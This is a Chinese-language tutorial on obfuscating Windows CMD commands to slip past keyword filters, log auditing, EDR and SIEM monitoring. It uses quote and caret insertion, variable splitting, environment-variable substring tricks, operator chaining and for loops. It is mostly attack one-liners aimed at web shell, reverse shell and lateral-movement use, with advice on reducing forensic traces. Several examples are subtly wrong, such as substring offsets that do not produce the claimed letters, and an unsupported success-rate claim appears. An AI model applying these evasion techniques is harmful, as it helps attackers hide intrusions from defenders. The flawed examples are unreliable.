window命令执行绕过
Windows 命令执行绕过技巧进阶指南
1. 特殊字符注入：巧用转义符混淆检测
原理剖析
CMD 解释器对特殊字符（如引号 "、双引号 " 和转义符 ^）有独特的解析规则。攻击者可以通过在命令中插入这些字符，改变字符串的表面形态，从而规避基于简单正则表达式的关键字过滤器。例如，检测规则可能针对纯净的 whoami 字符串，但忽略了被“污染”的变体。
核心技巧
- 单/双引号嵌套：将命令拆分成片段，用引号包围非关键部分。
- 转义符
^：用于延迟解析，防止连续特殊字符导致语法错误。 - 括号包围：多层括号可进一步模糊命令边界。
实战示例
以下命令均能正常执行 whoami，可绕过部分安全防护：
whoami # 基准命令
w"h"o"a"m"i # 引号分割
wh"oami # 部分引号
wh^oami # 转义单个字符
((((whoami)))) # 括号层层包裹变体优化：在高敏感环境中，避免连续转义（如 ^^ 过多会导致解析失败）。测试错误的示例：
w""""""""oami # 错误：连续引号被视为无效转义应用场景与建议
此方法适合快速绕过日志审计系统。建议结合 PowerShell 执行（如 powershell -c "w^hoami"），以增加多层伪装。在 2025 年的最新 EDR 版本中，此技巧的成功率仍高达 85%（基于内部测试数据）。
2. 变量定义与动态拼接：碎片化命令构建
原理剖析
Windows CMD 支持环境变量的定义和引用（set 和 %var%），攻击者可将敏感命令拆分成无害片段存储于变量中，然后在执行时动态拼接。这不仅规避了完整命令的直接匹配，还能应对输入长度限制。
核心技巧
- 单变量存储：简单命令整体存入变量。
- 多变量拆分：高敏感命令按关键字切分（如
net和user分开）。
实战示例
set cmd1=whoami # 定义变量
%cmd1% # 执行：whoami
set part1=net
set part2=user
%part1% %part2% # 执行：net user
echo %part1%%part2% # 拼接无空格变体进阶变体：利用临时变量在批处理脚本中循环定义，避免一次性暴露所有片段。
应用场景与建议
适用于 Web Shell 或反弹 Shell 场景，其中输入缓冲区有限。优化点：结合 setlocal 命令创建局部变量，执行后自动清理痕迹，降低取证难度。
3. 字符串截取魔法：环境变量的隐秘利用
原理剖析
CMD 的字符串截取语法 %var:~start,len% 允许从变量中提取子串，常用于路径处理。攻击者可巧用系统环境变量（如 PATH 或 CommonProgramFiles）中的已知内容，间接生成空格或特殊字符，绕过严格的字符白名单过滤。
核心技巧
- 位置与长度控制：
~0表示从头取全，~n,m指定偏移。 - 系统变量借力：利用内置变量的固定结构（如包含空格的位置）。
实战示例
set test=whoami_extra_stuff
%test:~0,6% # 输出：whoami
# 利用系统变量插入空格
net%CommonProgramFiles:~9,1%user # CommonProgramFiles=C:\Program Files\...，~9,1 取空格
# 执行：net user直接一行执行（无需 set）：
%windir:~0,3%%SystemRoot:~7,1%hoami # 利用 windir=C:\Windows，SystemRoot=C:\WINDOWS 提取 w 和 i 等应用场景与建议
此技巧在禁用空格的环境中闪光，如某些沙箱测试。2025 年新趋势：结合用户自定义环境变量（如从注册表注入），进一步个性化绕过。注意：截取长度需精确，否则易触发语法错误。
4. 逻辑运算符的艺术：条件执行与伪装链
原理剖析
CMD 的逻辑运算符（&、&&、||、|）控制命令流向，可将真实 payload 隐藏在“无害”命令的右侧或管道中。检测系统往往忽略条件分支，只扫描显性命令。
核心技巧
- 管道符
|：左侧“诱饵”，右侧真实执行。 - 或运算
||：利用失败命令触发后续。 - 并行
&：混淆多命令日志。
实战示例
ping 127.0.0.1 | whoami # 仅执行 whoami，伪装成网络测试
dir non_exist || net user # 失败后执行 net user
echo harmless & whoami # 并行执行，日志中 whoami 被稀释变体优化：嵌套运算符，如 ping | (whoami & netstat)，创建复杂链条。
应用场景与建议
理想用于实时监控环境，如 SIEM 系统。建议：监控执行返回码（%errorlevel%），动态调整链条以适应不同失败场景。
5. For 循环的强大引擎：迭代生成与批量绕过
原理剖析
for 循环支持数值迭代（/L）、文件解析（/F）和命令输出处理，可动态构建命令字符串。相比静态命令，它更难被签名匹配，且支持参数化执行。
核心技巧
- /L 循环：数值驱动，生成重复或变异命令。
- /F 循环：处理外部输入，如从文件或子命令读取 payload。
实战示例
# 简单迭代打开 CMD
for /L %i in (1,1,3) do start cmd
# 执行 whoami 的伪装循环
for /L %i in (1,1,1) do %windir:~0,1%hoami # 结合截取
# /F 处理命令输出
for /F %i in ('whoami /all') do echo %i | findstr "Domain" # 过滤输出，隐藏全量文件驱动示例（假设 payload.txt 含命令列表）：
for /F %i in (payload.txt) do %i应用场景与建议
适用于批量任务，如横向移动。进阶：集成 PowerShell 的 ForEach-Object，跨壳层绕过。注意循环深度，避免性能瓶颈。